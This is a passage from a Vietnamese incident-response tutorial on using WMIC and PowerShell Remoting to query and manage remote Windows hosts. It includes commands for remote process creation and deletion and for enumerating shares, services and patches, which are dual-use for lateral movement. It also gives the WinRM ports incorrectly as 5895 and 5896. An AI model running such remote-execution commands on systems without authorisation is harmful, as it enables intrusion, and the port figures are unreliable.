<li><p>Windows Management Instrumentation: <a href="https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page">https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page</a></p>
</li>
<li><p>Ví dụ cho lớp <a href="https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-process"><code>Win32_Process</code></a></p>
<pre><code class="language-plaintext">class Win32_Process : CIM_Process
{
  string   CreationClassName;
  string   Caption;
  string   CommandLine;
  datetime CreationDate;
  string   CSCreationClassName;
  string   CSName;
  string   Description;
  string   ExecutablePath;
  uint16   ExecutionState;
  string   Handle;
  uint32   HandleCount;
  datetime InstallDate;
  uint64   KernelModeTime;
  uint32   MaximumWorkingSetSize;
  uint32   MinimumWorkingSetSize;
  string   Name;
  string   OSCreationClassName;
  string   OSName;
  uint64   OtherOperationCount;
  uint64   OtherTransferCount;
  uint32   PageFaults;
  uint32   PageFileUsage;
  uint32   ParentProcessId;
  uint32   PeakPageFileUsage;
  uint64   PeakVirtualSize;
  uint32   PeakWorkingSetSize;
  uint32   Priority = NULL;
  uint64   PrivatePageCount;
  uint32   ProcessId;
  uint32   QuotaNonPagedPoolUsage;
  uint32   QuotaPagedPoolUsage;
  uint32   QuotaPeakNonPagedPoolUsage;
  uint32   QuotaPeakPagedPoolUsage;
  uint64   ReadOperationCount;
  uint64   ReadTransferCount;
  uint32   SessionId;
  string   Status;
  datetime TerminationDate;
  uint32   ThreadCount;
  uint64   UserModeTime;
  uint64   VirtualSize;
  string   WindowsVersion;
  uint64   WorkingSetSize;
  uint64   WriteOperationCount;
  uint64   WriteTransferCount;
};
</code></pre>
</li>
</ul>
<p>Mặc dù WMI Namespace có thể phức tạp nhưng nó rất mạnh mẽ và hiệu quả trong thu thập thông tin về tài nguyên mạng, tài nguyên hệ thống. WMIC có thể tạo các kết nối từ xa thông qua RPC/DCOM, khiến nó trở thành công cụ cực kỳ hữu ích để ứng phó sự cố.</p>
<p>Các hệ thống trong quá trình hoạt động thì luôn thay đổi, khi tham gia ứng phó sự cố sẽ phải tương tác với hệ thống dẫn đến thay đổi bằng chứng số dù ít hay nhiều, nên cần phải được ghi lại và khuyến khích thực hiện các hành động này từ xa.</p>
<h3>1.2. Một số tùy chọn của WMIC</h3>
<p><code>/node</code> Sử dụng tên máy chủ hoặc địa chỉ IP. Dưới đây là một số tùy chọn hữu ích khác:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/13396c7f-2087-4fe2-bfbe-69fe06cc8bdd.png" alt="" style="display:block;margin:0 auto" />

<p>WMIC switches</p>
<p><code>aliases</code> cung cấp các bí danh, giúp dễ nhớ hơn khi truy cập vào các lớp WMI</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/7eef5871-6c41-4b46-8b05-2b52ca173225.png" alt="" style="display:block;margin:0 auto" />

<p>Common WMIC aliases</p>
<p>Các kết quả từ WMIC có thể rất nhiều và khó hiểu, lúc này có thể sử dụng Management Instrumentation Query Language (WQL) một dạng ngôn ngữ truy vấn tương tự như Structured Query Language (SQL) để lọc dữ liệu.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/055627db-449b-4365-b244-21b363b6fd87.png" alt="" style="display:block;margin:0 auto" />

<p>Common where clause WQL operators</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/cfc84833-e22c-45c0-acc9-f08d971b9495.png" alt="" style="display:block;margin:0 auto" />

<p>LIKE operator wildcards</p>
<p>Tham khảo: <a href="https://docs.microsoft.com/en-us/windows/win32/wmisdk/like-operator">https://docs.microsoft.com/en-us/windows/win32/wmisdk/like-operator</a></p>
<p>Ví dụ sử dụng toán tử <code>LIKE</code>. Lưu ý là các toán tử của WQL không phân biệt chữ hoa-thường. Sử dụng các cặp nháy đơn, nháy kép lồng nhau hoặc ngoặc đơn sao cho phù hợp.</p>
<pre><code class="language-bash">$ wmic process where "Name like 'svchost%'" get name, processid, parentprocessid, commandline
$ wmic process where 'Name like "svchost%"' get name, processid, parentprocessid, commandline
$ wmic process where (Name like "svchost%") get name, processid, parentprocessid, commandline
</code></pre>
<p>Một tùy chọn hữu ích khác nữa là <code>/format</code> và <code>/output</code> để quy định đầu ra của kết quả</p>
<pre><code class="language-bash">$ wmic computersystem list /format:csv &gt; output.csv
$ wmic /output:output.csv computersystem list /format:csv
</code></pre>
<h3>1.3. Một số ví dụ về WMIC</h3>
<p>Các lệnh này có thể được chạy trước khi một sự cố xảy ra nhằm tạo CSDL cho các hệ thống, các lệnh nên được chạy hàng tuần là tốt nhất và kết quả được lưu ra tệp tin, ngoài việc nó giúp quản trị viên biết được hệ thống hoạt động ở trạng thái bình thường ra sao thì khi có sự cố xảy ra nó lại cực kì hữu dụng. Ví dụ lệnh sau chạy trên một hệ thống cục bộ và kết quả được lưu trữ vào một nơi có thể chia sẻ với người khác:</p>
<pre><code class="language-bash">$ wmic environment list brief /format:list &gt; \\server1\BaselineData\Client2\environment.txt
</code></pre>
<p>Ví dụ truy vấn đến một hệ thống từ xa, kết quả lưu vào một tệp <code>txt</code> tại hệ thống cục bộ:</p>
<pre><code class="language-bash">$ wmic /node:server1 /output:processes.txt process get name, processid, parentprocessid, threadcount, handlecount, commandline
$ wmic /node:"server1" /output:processes.txt process get name, processid, parentprocessid, threadcount, handlecount, commandline /format:list
</code></pre>
<p>Ví dụ giả sử bạn đã xác định được tiến trình độc hại và muốn dừng nó:</p>
<pre><code class="language-bash">$ wmic /node:"server1" process where name="CRACKME.EXE" delete
Deleting instance \\server1\ROOT\CIMV2:Win32_Process.Handle="2764"
Instance deletion successful.
</code></pre>
<p>Ví dụ liệt kê các tiến trình được chạy từ một vị trí (đường dẫn) chứa chuỗi <code>Download</code>:</p>
<pre><code class="language-bash">$ wmic process where (ExecutablePath LIKE "%Download%") get name, executablepath
ExecutablePath                                                        Name
C:\Program Files (x86)\Internet Download Manager\IDMan.exe            IDMan.exe
C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe  IDMIntegrator64.exe
...
</code></pre>
<p>Ví dụ sử dụng toán tử <code>NOT</code> để lọc các tiến trình có đường dẫn không chứa chuỗi <code>Windows</code>:</p>
<pre><code class="language-bash">$ wmic process where (NOT ExecutablePath LIKE "%Windows%") get name, executablepath, parentprocessid
ExecutablePath                                                                                                             Name                                 ParentProcessId
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe                                             OfficeClickToRun.exe                 836
C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe                                                              sqlwriter.exe                        836
C:\Program Files\Canon\Canon MF Network Scanner Selector\CMFNSS6.EXE                                                       CMFNSS6.EXE                          8028
C:\Program Files\Google\Chrome\Application\chrome.exe                                                                      chrome.exe                           9824
...
</code></pre>
<p>Ví dụ sử dụng WMIC để khởi tạo tiến trình từ xa:</p>
<pre><code class="language-bash">$ wmic /node:"server1" process call create "calc"
Executing (Win32_Process)-&gt;Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 6184;
        ReturnValue = 0;
};
</code></pre>
<pre><code class="language-bash">$ wmic /node:"server1" process where (Name LIKE "%Calc%") get name, processid, parentprocessid, commandline
CommandLine                                                                                                                                                        Name            ParentProcessId  ProcessId
"C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.2103.8.0_x64__8wekyb3d8bbwe\Calculator.exe" -ServerName:App.AppXsm3pg4n7er43kdh1qp4e79f1j7am68r8.mca  Calculator.exe  1008             11660
</code></pre>
<p>Ví dụ xác định địa chỉ IP, MAC, cấu hình mạng, sử dụng alias <code>nicconfig</code>:</p>
<pre><code class="language-bash">$ wmic nicconfig get MACAddress, DefaultIPGateway, IPAddress, DNSHostName
DefaultIPGateway  DNSHostName      IPAddress                                        MACAddress

{"192.168.10.1"}  server1  {"192.168.10.116", "f88c::d559:1201:df56:b6c4"}  00:61:96:DF:F4:3E
...
</code></pre>
<p>Ví dụ xác định các thư mục đang được chia sẻ:</p>
<pre><code class="language-bash">$ wmic /node:"server1" share list brief
Description    Name    Path
Remote Admin   ADMIN$  C:\Windows
Default share  C$      C:\
Default share  D$      D:\
Default share  E$      E:\
Default share  F$      F:\
Remote IPC     IPC$
</code></pre>
<pre><code class="language-bash"># Exclude Default Share
\( wmic /node:"server1" share where (NOT Name LIKE "%\)") list brief
No Instance(s) Available.
</code></pre>
<p>Ví dụ xác định cách services, tham số <code>/user</code> chỉ định tên username đăng nhập, không có tham số <code>/password</code> nên khi chạy lệnh sẽ bật ra một prompted yêu cầu nhập password. Đầu ra có thể lưu ra file csv bằng <code>&gt;</code> hoặc <code>&gt;&gt;</code> hoặc dùng tham số <code>/output</code></p>
<pre><code class="language-bash">$ wmic /node:server1 /user: administrator@company.demo service get Name, Caption, State, StartMode, pathname /format:csv

$ wmic /node:"server1" service get Name, Caption, State, StartMode, pathname /format:csv
Node,Caption,Name,PathName,StartMode,State
server1,Base Filtering Engine,BFE,C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p,Auto,Running
server1,AllJoyn Router Service,AJRouter,C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p,Manual,Stopped
server1,Application Layer Gateway Service,ALG,C:\Windows\System32\alg.exe,Manual,Stopped
server1,Application Host Helper Service,AppHostSvc,C:\Windows\system32\svchost.exe -k apphost,Auto,Running
...
</code></pre>
<pre><code class="language-bash">$ wmic /node:"server1" service get Name, Caption, State, StartMode, pathname /format:list
Caption=Application Layer Gateway Service
Name=ALG
PathName=C:\Windows\System32\alg.exe
StartMode=Manual
State=Stopped

Caption=AppX Deployment Service (AppXSVC)
Name=AppXSvc
PathName=C:\Windows\system32\svchost.exe -k wsappx -p
StartMode=Manual
State=Running

Caption=DHCP Client
Name=Dhcp
PathName=C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
StartMode=Auto
State=Running
...
</code></pre>
<p>Ví dụ xác định các bản vá hệ thống (Hotfixs), hữu dụng khi hacker đang chủ đích nhắm vào một lỗ hổng cụ thể, cần xác định xem hệ thống nào đã vá hoặc chưa vá lỗ hổng đó. Giả sử tệp <code>Systems.txt</code> chứa danh sách <strong>Computername</strong>, mỗi tên đặt trên một dòng.</p>
<pre><code class="language-bash"># Systems.txt
DC1
DC2
SERVER1
SERVER2
CLIENT1
CLIENT2
</code></pre>
<pre><code class="language-bash">$ wmic /node:@Systems.txt qfe get csname, description, FixComments, HotFixID, InstalledBy,InstalledOn,ServicePackInEffect
$ wmic /node:"server1" qfe get csname, description, FixComments, HotFixID, InstalledBy,InstalledOn,ServicePackInEffect
CSName   Description      FixComments  HotFixID   InstalledBy          InstalledOn  ServicePackInEffect
server1  Update                        KB5007289  NT AUTHORITY\SYSTEM  11/27/2021
server1  Update                        KB5000736                       4/9/2021
server1  Update                        KB5003791  NT AUTHORITY\SYSTEM  11/27/2021
...
</code></pre>
<p>Khi truy cập vào các node, nếu không truy cập được sẽ xuất hiện lỗi <code>RPC Server not available</code>. Trường hợp phải kết nối để truy vấn một lượng lớn các máy chủ, để giảm thời gian kết nối sử dụng tham số <code>/failfast:on</code>. Nếu sử dụng tham số <code>/output</code> để chỉ định đầu ra thì trong tệp kết quả sẽ không xuất hiện lỗi mà nó chỉ xuất hiên ở màn hình console. Có thể sử dụng kiểu xuất kết quả sau để lưu kết quả ra một tệp, lỗi ra một tệp: <code>1&gt;results.txt 2&gt;errors.txt</code></p>
<pre><code class="language-bash">$ wmic /node:@Systems.txt /failfast:on qfe get csname, description, FixComments, HotFixID, InstalledBy,InstalledOn,ServicePackInEffect 1&gt;results.txt 2&gt;errors.txt
</code></pre>
<p>Ví dụ sử dụng vòng lặp để chạy nhiều lệnh:</p>
<pre><code class="language-bash"># Hosts.txt
DC1
DC2
SERVER1
SERVER2
</code></pre>
<pre><code class="language-bash">$ for /F %i in (Hosts.txt) do @echo scanning %i &amp; wmic /node:%i process get name, processid, parentprocessid, threadcount, handlecount &gt;&gt; %i.txt &amp; wmic /node:%i environment list brief &gt;&gt; %i.txt &amp; wmic /node:%i nicconfig get MACAddress, DefaultIPGateway, IPAddress, IPSubnet, DNSHostName, DNSDomain &gt;&gt; %i.txt &amp; wmic /node:%i service get Name, Caption, State, ServiceType, StartMode, pathname &gt;&gt; %i.txt &amp; wmic /node:%i qfe get description, FixComments, HotFixID, InstalledBy, InstalledOn, ServicePackInEffect &gt;&gt; %i.txt
# Example, run in local, for one machine
$ echo scanning %computername% &amp; wmic /node:"%computername%" process get name, processid, parentprocessid, threadcount, handlecount &gt;&gt; %computername%.txt &amp; wmic /node:"%computername%" environment list brief &gt;&gt; %computername%.txt &amp; wmic /node:"%computername%" nicconfig get MACAddress, DefaultIPGateway, IPAddress, IPSubnet, DNSHostName, DNSDomain &gt;&gt; %computername%.txt &amp; wmic /node:"%computername%" service get Name, Caption, State, ServiceType, StartMode, pathname &gt;&gt; %computername%.txt &amp; wmic /node:"%computername%" qfe get description, FixComments, HotFixID, InstalledBy, InstalledOn, ServicePackInEffect &gt;&gt; %computername%.txt
</code></pre>
<p>Ký tự <code>&amp;</code> đại diện cho bắt đầu một lệnh mới. Cần thu thập định kỳ các thông tin này để sử dụng như là một CSDL mẫu (Thu thập theo ngày, format lại theo ngày tránh bị trùng tên: <code>%i%date:˜-4,4%%date:˜-7,2%%date:˜-10,2%.txt</code>). Khi sự cố xuất hiện, với cùng một lệnh chạy có thể kết quả sẽ khác biệt so với CSDL trước đó, lúc này tiến hành đối chiếu để xác định sự bất thường.</p>
<p>WMIC có từ Windows XP, nó đã cung cấp cho quản trị viên và những người làm Ứng phó sự cố với một công cụ mạnh mẽ. Tuy nhiên với <code>Powershell</code>, chúng ta sẽ còn có một công cụ mạnh mẽ hơn, trong phần tiếp theo chúng ta sẽ tìm hiểu Powershell và cả những cách thức để truy cập WMI thông qua Powershell.</p>
<h1>2. PowerShell</h1>
<p>Powershell đã cải thiện khái niệm về command-line interface rất nhiều. Chúng ta đã nói về Common Information Model (CIM) để mô tả các tài nguyên CNTT như là các đối tượng. Đối tượng thì sẽ có các thuộc tính và các phương thức như là các hành động của đối tượng đó. Ví dụ: Một đối tượng của lớp <strong>Process</strong> sẽ có các thuộc tính như <code>ProcessID</code>, <code>ProcessName</code>, <code>ParentProcessID</code>, <code>ProcessPath</code> và các phương thức: <code>Create</code>, <code>Delete</code>. Sức mạnh đằng thực sự đằng sau Powershell xuất phát từ thực tế là khi bạn thực hiện một yêu cầu với Powershell, kết quả bạn nhận được không chỉ đơn giản là văn bản mà còn là đối tượng. Ví dụ: Đối tượng đại diện cho tiến trình với các thuộc tính và phương thức đi kèm. Trong các Shell truyền thống, khi bạn chuyển đầu ra của một lệnh làm đầu vào của lệnh khác (PIPE) thì nó chỉ đơn giản là chuyển văn bản. Nhưng với Powershell, bạn đang chuyển các đối tượng xuống đường ống (Pipeline) đi kèm với các thuộc tính và phương thức.</p>
<p>Powershell sử dụng các <code>CmdLets</code> để nhận các lệnh từ người dùng hoặc scripts. Các <strong>CmdLets</strong> bao gồm một động từ và một danh từ và nối với nhau bằng một dấu gạch. VD: <code>Get-Process</code> là một CmdLet lấy thông tin về các tiến trình trên hệ thống. Động từ trong trường hợp này là <code>Get</code> và danh từ là <code>Process</code></p>
<p>Một <strong>CmdLet</strong> rất mạnh mẽ và quan trọng để hỗ trợ bạn trong quá trình sử dụng Powershell là <code>Get-Help</code>. Ví dụ: <code>Get-Help Get-Process -Examples</code> sẽ cung cấp các ví dụ mẫu về các sử dụng cũng như cú pháp của <code>Get-Process</code> CmdLet:</p>
<pre><code class="language-powershell">$ Get-Help Get-Process -Detailed
</code></pre>
<p>Ngoài việc cung cấp một công cụ dòng lệnh là <code>powershell.exe</code> thì nó cũng cung cấp một công cụ gọi là <strong>PowerShell ISE</strong> (<code>powershell_ise.exe</code>) cung cấp một môi trường để tạo và kiểm tra các tập lệnh Powershell, tương tác với hệ thống cục bộ hoặc từ xa. Lợi thế khi sử dụng Powershell ISE là tính năng IntelliSense (nhắc code).</p>
<img src="https://cdn.hashnode.com/uploads/covers/6698c3b850049834bdc8b385/0b4e3877-433c-4604-a0b8-71cad0c67978.png" alt="" style="display:block;margin:0 auto" />

<p>PowerShell ISE IntelliSense feature at work as the user types</p>
<p>Một <code>CmdLet</code> cũng sẽ có các tham số, nó được chỉ định bằng một dấu gạch ngang đằng trước. VD: <code>Get-Help Get-Process -ShowWindow</code> sẽ bật lên một cửa sổ hiển thị trợ giúp cho <code>Get-Process</code>.</p>
<p>Ngoài <code>Get-Help</code> thì Powershell cũng có một CmdLet hỗ trợ khác là <code>Get-Command</code> dùng trong trường hợp bạn không muốn nhớ tên các CmdLets, nó sẽ hiện kết quả gợi ý. Ví dụ:</p>
<pre><code class="language-powershell">$ Get-Command *process*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Function        Get-AppvVirtualProcess                             1.0.0.0    AppvClient
Function        Start-AppvVirtualProcess                           1.0.0.0    AppvClient
Cmdlet          ConvertTo-ProcessMitigationPolicy                  1.0.12     ProcessMitigations
Cmdlet          Debug-Process                                      3.1.0.0    Microsoft.PowerShell.Management
Cmdlet          Enter-PSHostProcess                                3.0.0.0    Microsoft.PowerShell.Core
Application     qprocess.exe                                       10.0.19... C:\Windows\system32\qprocess.exe
...
</code></pre>
<h3>2.1. Powershell và các CmdLet cơ bản</h3>
<p>Thực hiện truy vấn với các CmdLet có thể sẽ trả về nhiều kết quả, ở đây có thể là các đối tượng đi cùng với các thuộc tính và phương thức. Sử dụng CmdLet <code>Get-Member</code> để xem thông tin về một CmdLet khác bao gồm các: Thuộc tính, Phương thức, Alias,.v.v.. Ví dụ muốn xem mô tả về CmdLets <code>Get-Process</code>:</p>
<pre><code class="language-powershell">$ Get-Process | Get-Member

   TypeName: System.Diagnostics.Process

Name                       MemberType     Definition
----                       ----------     ----------
Handles                    AliasProperty  Handles = Handlecount
Name                       AliasProperty  Name = ProcessName
Disposed                   Event          System.EventHandler Disposed(System.Object, System.EventArgs)
Kill                       Method         void Kill()
Start                      Method         bool Start()
__NounName                 NoteProperty   string __NounName=Process
BasePriority               Property       int BasePriority {get;}
Container                  Property       System.ComponentModel.IContainer Container {get;}
EnableRaisingEvents        Property       bool EnableRaisingEvents {get;set;}
Company                    ScriptProperty System.Object Company {get=$this.Mainmodule.FileVersionInfo.CompanyName;}
CPU                        ScriptProperty System.Object CPU {get=$this.TotalProcessorTime.TotalSeconds;}
...
</code></pre>
<p>Sử dụng Cmdlet <code>Select-Object</code> với tham số <code>-Property</code> để hiển thị bất kỳ thuộc tính nào chúng ta chọn, giống như <code>get</code> với WMIC. Ví dụ:</p>
<pre><code class="language-powershell">Get-Process | Select-Object -Property ProcessName, ID, StartTime

ProcessName                        Id StartTime
-----------                        -- ---------
ApplicationFrameHost             2176 18/12/2021 8:23:09 AM
audiodg                          8084 20/12/2021 9:16:49 AM
backgroundTaskHost               8476 20/12/2021 10:51:19 AM
Calculator                      11344 18/12/2021 8:25:16 AM
chrome                            664 20/12/2021 9:35:11 AM
...
</code></pre>
<p>Một CmdLet có thể có nhiều Alias khác với cú pháp ngắn hơn. Ví dụ với CmdLet <code>Get-ChildItem</code> có alias là <code>dir</code> (cmd.exe), <code>ls</code> (*nix shell) <code>gci</code> (viết tắt cho <code>Get-ChildItem</code>). Nên sử dụng cú pháp đầy đủ và rõ ràng, tránh sử dụng các alias gây khó hiểu mặc dù nó có ưu điểm là ngắn gọn.</p>
<pre><code class="language-powershell">$ Get-ChildItem
$ ls
$ dir
$ gci

$ Get-Process | Select-Object -Property ProcessName, ID, StartTime
$ gps | select name, ID, starttime
</code></pre>
<p>Ngoài việc sử dụng CmdLet <code>Select-Object</code> để chọn các thuộc tính, chúng ta cũng có thể sử dụng Cmdlet <code>Where-Object</code> để chọn các thuộc tính, với <code>Where-Object</code> hỗ trợ chúng ta cú pháp giống như truy vấn WQL của WMIC. Ví dụ:</p>
<pre><code class="language-powershell">$ Get-Process -Name "powers*"
$ Get-Process | Where-Object -Property name -Like power*

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    500      26    63336      73664       0.58  11152   1 powershell
    906      53   166044     185112      62.95  11788   1 powershell
</code></pre>
<p>Lưu ý: WMIC sử dụng <code>%</code> làm ký tự đại diện còn Powershell sử dụng <code>*</code> cho cùng mục đích. Các phép so sánh trong Powershell được bắt đầu bằng <code>-</code>, ví dụ: <code>-eq</code>, <code>-ne</code>, <code>-like</code>. Có thể sử dụng một số CmdLets để sắp xếp kết quả với <code>Sort-Object</code>, nhóm các kết quả với <code>Group-Object</code>, đếm hoặc đo lường kết quả với <code>Measure-Object</code>. Tương tự như WMIC, Powershell cũng cung cấp nhiều CmdLet để định dạng dữ liệu như dạng bảng, danh sách, hay nhiều dạng khác: <code>Format-Table</code>, <code>Format-List</code>, <code>Out-GridView</code>, <code>Export-Csv</code>.</p>
<pre><code class="language-powershell">$ Get-Process | Format-Table -Property ProcessName, Id

ProcessName                        Id
-----------                        --
ApplicationFrameHost             2176
audiodg                         14168
Calculator                      11344
chrome                            664
...
</code></pre>
<p>Bảng dưới đây liệt kê một số các <strong>CmdLets</strong> hữu ích và hay dùng thực hiện Remote Triage.</p>
<table>
<thead>
<tr>
<th><strong>CMDLET</strong></th>
<th><strong>DESCRIPTION</strong></th>
</tr>
</thead>
<tbody><tr>
<td>Get-ADComputer</td>
<td>Truy vấn Active Directory thông tin tài khoản máy tính. CmdLet này được tìm thấy trên Domain Controller hoặc có thể được thêm thủ công vào một máy trạm.</td>
</tr>
<tr>
<td>Get-ADUser</td>
<td>Truy vấn Active Directory thông tin tài khoản người dùng Domain. Cmdlet này được tự động tải xuống trên Domain Controller; Nó có thể được thêm vào thủ công vào một máy trạm</td>
</tr>
<tr>
<td>Get-ChildItem</td>
<td>Liệt kê các items trong một thư mục, một registry hoặc một vị trí nào đó</td>
</tr>
<tr>
<td>Get-CimInstance</td>
<td>Truy cập vào các CIM Instances từ máy chủ CIM. Đây là một cách được sử dụng để truy cập vào các lớp WMI/MI.</td>
</tr>
<tr>
<td>Get-Content</td>
<td>Lấy nội dung của một đối tượng, ví dụ một tệp tin</td>
</tr>
<tr>
<td>Get-EventLog</td>
<td>Truy cập vào <strong>Windows Event Logs</strong>. Có thể sử dụng <code>Get-WinEvent</code> để thay thế.</td>
</tr>
<tr>
<td>Get-HotFix</td>
<td>Lấy thông tin các bản cập nhật hệ thống</td>
</tr>
<tr>
<td>Get-ItemProperty</td>
<td>Lấy thuộc tính của một item, bao gồm cả các registry key.</td>
</tr>
<tr>
<td>Get-LocalUser</td>
<td>Lấy thông tin về tài khoản người dùng cục bộ.</td>
</tr>
<tr>
<td>Get-NetTCPConnection</td>
<td>Thông tin các kết nối mạng. Giao thức TCP</td>
</tr>
<tr>
<td>Get-NetUDPEndpoint</td>
<td>Thông tin các kết nối mạng. Giao thức UDP</td>
</tr>
<tr>
<td>Get-Process</td>
<td>Lấy thông tin các tiến trình đang chạy</td>
</tr>
<tr>
<td>Get-Service</td>
<td>Lấy thông tin các dịch vụ trên hệ thống</td>
</tr>
<tr>
<td>Get-WinEvent</td>
<td>Lấy thông tin về các Event Logs</td>
</tr>
<tr>
<td>Get-WmiObject</td>
<td>Truy cập các đối tượng WMI. Có thể sử dụng <code>Get-CimInstance</code> để thay thế</td>
</tr>
<tr>
<td>ForEach-Object</td>
<td>Lặp, duyệt các phần tử trong một danh sách</td>
</tr>
<tr>
<td>Start-Transcript</td>
<td>Ghi/Lưu lại một loạt các lệnh Powershell</td>
</tr>
<tr>
<td>Stop-Transcript</td>
<td>Dừng ghi/lưu lại các lệnh Powershell ở phiên trước đó.</td>
</tr>
</tbody></table>
<p>Danh sách trên chỉ là một phần nhỏ trong số rất nhiều các CmdLets của Powershell, mục đích để chúng ta dễ dàng tiếp cận.</p>
<h3>2.2. Quản trị từ xa với Powershell</h3>
<p>Một tính năng mạnh mẽ khác của Powershell đó là Remoting. Powershell đôi khi được mô tả như là C#, nó cung cấp giao diện dòng lệnh có quyền truy cập vào các lớp .NET và WMI. Với Powershell Remoting, bạn có thể tương tác, sửa đổi các hệ thống từ xa một cách an toàn, người thực hiện ứng phó sự cố có thể tận dụng Powershell để đơn giản hóa công việc cũng như sử dụng trong quá trình phòng thủ hệ thống. Do những đặc tính của Powershell, nó còn được các attacker lợi dụng để sử dụng công cụ này để tấn công hệ thống, đặc biệt trong các pha <code>Lateral Movement</code> và <code>Post-Exploitation</code>.</p>
<p>Powershell là một chủ đề rộng và bài này không thể trình bày hết được, tôi khuyến khích người đọc chủ động tìm hiểu thêm về Powershell, công nghệ này rất mạnh mẽ được cho là tương lai của Windows, kể từ <strong>Powershell Core 6,</strong> nó không còn chỉ là chạy trên Windows mà đã xuất hiện ở cả Linux và macOS.</p>
<p><strong>Powershell Remoting</strong> tận dụng <strong>WinRM</strong>, điều này cung cấp một cơ chế dựa trên <strong>SOAP</strong> để tương tác với các hệ thống từ xa thông qua kết nối HTTP. Mặc định, WinRM hoạt động thông qua cổng TCP 5895, với HTTPS nó hoạt động thông qua cổng TCP 5896. Trong môi trường Domain thì cổng 5895 được sử dụng là tiêu chuẩn cho WinRM và Powershell Remoting khi trao đổi Kerberos có thể xác thực cả 2 bên. Sử dụng HTTPS thông qua cổng 5896 với các hệ thống không được liên kết với Domain và yêu cầu phải có chứng chỉ SSL/TLS để xác định danh tính.</p>
<p><strong>Powershell Remoting</strong> sử dụng mã hóa <strong>AES-256</strong> để giao tiếp cho dù bạn sử dụng HTTP hay HTTPS. Tham khảo: <a href="https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity">https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity</a></p>
<p>Có 2 tùy chọn chính để sử dụng Powershell Remoting là sử dụng các CmdLets:</p>
<ul>
<li><p><code>Enter-PSSession</code>: Kết nối từ xa kiểu 1-1 tương tự như SSH</p>
</li>
<li><p><code>Invoke-Command</code>: Kết nối từ xa kiểu 1-n, cho phép các lệnh được chạy trên nhiều hệ thống song song</p>
</li>
</ul>
<p>Các CmdLets này đều hỗ trợ tham số <code>-ComputerName</code> để chỉ định hệ thống từ xa muốn kết nối, nhưng có một số khác biệt:</p>
<ul>
<li><p><code>Enter-PSSession</code>: Chỉ chấp nhận tên của một máy tính ở một thời điểm</p>
</li>
<li><p><code>Invoke-Command</code>: Chấp nhận nhiều tên máy tính ở một thời điểm</p>
</li>
</ul>
<p>Trong cả hai trường hợp, ComputerName phải ở dạng NetBIOS hoặc Domain Name. Kể từ khi Powershell sử dụng xác thực dựa trên Kerberos theo mặc định thì nó không còn sử dụng trực tiếp các địa chỉ IP nữa. Các địa chỉ IP được dùng riêng cho trường hợp các máy đó ko phải là một phần của Active Directory.</p>
<p>Ví dụ sử dụng CmdLet <code>Enter-PSSession</code> để khởi tạo một phiên kết nối đến máy có tên DC1. Tham số <code>-Credential</code> sẽ bật lên một hộp thoại nhập mật khẩu cho người dùng, để thoát khỏi phiên sử dụng lệnh <code>exit</code>:</p>
<pre><code class="language-powershell">$ Enter-PSSession -ComputerName DC1 -Credential administrator@company.demo
</code></pre>
<p>Ví dụ sử dụng CmdLet <code>Invoke-Command</code> để khởi tạo nhiều phiên kết nối đồng thời, sử dụng trong trường hợp cần quét cùng lúc một lượng lớn các máy chủ trong hệ thống.</p>
<pre><code class="language-powershell">$ Invoke-Command -ComputerName dc1, dc2, dc3, dc4 -ScriptBlock {Get-Process | Where-Object -Property name -eq chrome}

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName   PSComputerName
-------  ------    -----      -----     ------     --  -- -----------   --------------
    405      20   114040     165372     105.72   1232   1 chrome        dc1
    276      17    28112      65400       9.64   2656   1 chrome        dc2
    274      17    21996      48112       0.58   7176   1 chrome        dc3
    288      22    53204      94308       2.28   7304   1 chrome        dc4
</code></pre>
<p>Tham số <code>ComputerName</code> chỉ ra tên các máy chủ sẽ kết nối đến và tham số <code>ScriptBlock</code> là lệnh sẽ thực thi trên các máy đích từ xa, lệnh này sẽ liệt kê các tiến trình và lọc kết quả có tên “chrome”.</p>
<p>Cũng lưu ý là với <code>Invoke-Command</code>, nó thực hiện khởi tạo phiên kết nối và thực thi lệnh trong <code>ScriptBlock</code>, lấy kết quả và phiên kết nối bị hủy ngay sau đó. Ngoài ra có một tham số cần chú ý là <code>ThrottleLimit</code> chỉ định số kết nối đồng thời, theo mặc định giá trị này là 32.</p>
<h3>2.3. Truy cập vào các lớp WMI/MI/CIM với Powershell</h3>
<p>Ở các phần trước đã giới thiệu về Windows Management Instrumentation (WMI), Windows Management Infrastructure (MI) và Common Information Model (CIM). MI được Microsoft gọi là thế hệ tiếp theo của WMI, nó tương thích ngược với WMI và nó phù hợp hơn với tiêu chuẩn CIM hiện đại.</p>
<p>Powershell có một CmdLet để tương tác với WMI đó là <code>Get-WmiObject</code>, nó tương tự như công cụ dòng lệnh WMIC, nó cũng giao tiếp thông qua RPC/DCOM. CmdLet này cũng đã hỗ trợ tham số <code>ComputerName</code>, tuy nhiên nó không giống với các CmdLet của Powershell Remoting: Các CmdLet của nó như <code>Enter-PSSession</code>, <code>Invoke-Command</code> đều giao tiếp thông qua WinRM.</p>
<p>Một CmdLet mới hơn đó là <code>Get-CimInstance</code> dùng để truy cập vào các lớp WMI/MI. CmdLet này tận dụng được các tùy chọn tìm kiếm và định dạng mà Powershell hỗ trợ. Ví dụ sau sử dụng <code>Get-CimInstance</code> truy cập vào lớp WMI thông qua định danh cũ vấn thường sử dụng với WMIC trước đó:</p>
